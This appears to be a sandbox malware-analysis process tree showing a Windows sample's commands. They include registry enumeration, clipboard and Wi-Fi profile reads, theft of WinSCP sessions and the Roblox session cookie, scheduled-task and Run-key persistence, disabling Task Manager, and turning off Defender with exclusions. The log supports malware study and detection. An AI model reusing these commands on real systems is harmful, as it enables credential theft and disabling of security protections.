    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=NaN get ExecutablePath"
    3⤵
    PID:11664
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where processid=NaN get ExecutablePath
      4⤵
      PID:11880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:11984
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:11892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:11916
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:11832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip""
    3⤵
    PID:11828
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip"
      4⤵
      PID:12028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook""
    3⤵
    PID:12112
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook"
      4⤵
      PID:12116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager""
    3⤵
    PID:1980
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager"
      4⤵
      PID:2160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx""
    3⤵
    PID:12164
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx"
      4⤵
      PID:2656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime""
    3⤵
    PID:12188
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime"
      4⤵
      PID:9436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore""
    3⤵
    PID:8356
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore"
      4⤵
      PID:12136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40""
    3⤵
    PID:12180
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40"
      4⤵
      PID:12256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data""
    3⤵
    PID:8740
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data"
      4⤵
      PID:5548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX""
    3⤵
    PID:2368
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX"
      4⤵
      PID:11240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData""
    3⤵
    PID:9008
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData"
      4⤵
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack""
    3⤵
    PID:5912
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack"
      4⤵
      PID:8232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)""
    3⤵
    PID:7568
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)"
      4⤵
      PID:10996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService""
    3⤵
    PID:3188
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService"
      4⤵
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2""
    3⤵
    PID:11036
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2"
      4⤵
      PID:11236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us""
    3⤵
    PID:11256
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us"
      4⤵
      PID:7912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent""
    3⤵
    PID:10624
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent"
      4⤵
      PID:6556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player""
    3⤵
    PID:8440
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player"
      4⤵
      PID:4368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC""
    3⤵
    PID:7284
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC"
      4⤵
      PID:5160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}""
    3⤵
    PID:9692
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}"
      4⤵
      PID:6844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}""
    3⤵
    PID:8716
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"
      4⤵
      PID:11472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}""
    3⤵
    PID:9204
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}"
      4⤵
      PID:7784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}""
    3⤵
    PID:6636
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"
      4⤵
      PID:11436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}""
    3⤵
    PID:10596
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}"
      4⤵
      PID:9188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}""
    3⤵
    PID:5364
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}"
      4⤵
      PID:11464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}""
    3⤵
    PID:9804
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"
      4⤵
      PID:6572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}""
    3⤵
    PID:4124
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}"
      4⤵
      PID:8820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}""
    3⤵
    PID:7236
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}"
      4⤵
      PID:5436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}""
    3⤵
    PID:7116
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}"
      4⤵
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}""
    3⤵
    PID:5992
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}"
      4⤵
      PID:6640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}""
    3⤵
    PID:6520
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}"
      4⤵
      PID:5200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}""
    3⤵
    PID:6276
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}"
      4⤵
      PID:7852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}""
    3⤵
    PID:6976
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}"
      4⤵
      PID:9416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}""
    3⤵
    PID:8380
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}"
      4⤵
      PID:7396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}""
    3⤵
    PID:7264
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}"
      4⤵
      PID:7080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}""
    3⤵
    PID:8104
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}"
      4⤵
      PID:2620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}""
    3⤵
    PID:4612
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}"
      4⤵
      PID:5332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}""
    3⤵
    PID:10616
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}"
      4⤵
      PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}""
    3⤵
    PID:4832
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}"
      4⤵
      PID:8500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}""
    3⤵
    PID:8776
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}"
      4⤵
      PID:11584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\M0BJEFWFINpS_tezmp.ps1""
    3⤵
    PID:9904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\M0BJEFWFINpS_tezmp.ps1"
      4⤵
      PID:7432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript C:\Users\Admin\AppData\Roaming\6W5EcN9xUgLx.vbs"
    3⤵
    PID:7972
  - - C:\Windows\system32\cscript.exe
      cscript C:\Users\Admin\AppData\Roaming\6W5EcN9xUgLx.vbs
      4⤵
      PID:10384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "mullvad account get"
    3⤵
    PID:9024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -command "function Get-AntiVirusProduct { [CmdletBinding()] param ( [parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [Alias('name')] $computername=$env:computername ) $AntiVirusProducts = Get-WmiObject -Namespace "root\\SecurityCenter2" -Class AntiVirusProduct -ComputerName $computername $ret = @() foreach ($AntiVirusProduct in $AntiVirusProducts) { switch ($AntiVirusProduct.productState) { "262144" { $defstatus = "Up to date"; $rtstatus = "Disabled" } "262160" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "266240" { $defstatus = "Up to date"; $rtstatus = "Enabled" } "266256" { $defstatus = "Out of date"; $rtstatus = "Enabled" } "393216" { $defstatus = "Up to date"; $rtstatus = "Disabled" } "393232" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "393488" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "397312" { $defstatus = "Up to date"; $rtstatus = "Enabled" } "397328" { $defstatus = "Out of date"; $rtstatus = "Enabled" } "397584" { $defstatus = "Out of date"; $rtstatus = "Enabled" } default { $defstatus = "Unknown"; $rtstatus = "Unknown" } } $ht = @{} $ht.Computername = $computername $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Definition Status' = $defstatus $ht.'Real-time Protection Status' = $rtstatus # Créez un nouvel objet pour chaque ordinateur $ret += New-Object -TypeName PSObject -Property $ht } Return $ret } Get-AntiVirusProduct ""
    3⤵
    PID:11568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "function Get-AntiVirusProduct {
      4⤵
      PID:6800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:8748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profile"
    3⤵
    PID:6984
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:9384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions""
    3⤵
    PID:9996
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
      4⤵
      PID:7588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:7472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY
      4⤵
      PID:6320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:8840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY
      4⤵
      PID:10200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Failed' $Trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM' Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName StartCacaTask ""
    3⤵
    PID:6908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "
      4⤵
      PID:8908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:8428
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:6432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:6608
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Start_ge86Kl /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_ge86Kl.vbs /f"
    3⤵
    PID:5860
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Start_ge86Kl /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_ge86Kl.vbs /f
      4⤵
      PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_ge86Kl.vbs\"""
    3⤵
    PID:10568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_ge86Kl.vbs\""
      4⤵
      PID:6496
    - - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_ge86Kl.vbs
        5⤵
        Views/modifies file attributes
        
        PID:9036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
    3⤵
    PID:9648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      PID:9576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
      4⤵
      PID:5836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
      4⤵
      PID:5556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
      4⤵
      PID:7780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\salutVZkjm.ps1" -RunAsAdministrator"
    3⤵
    PID:8452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\salutVZkjm.ps1" -RunAsAdministrator
      4⤵
      PID:8164
- - C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
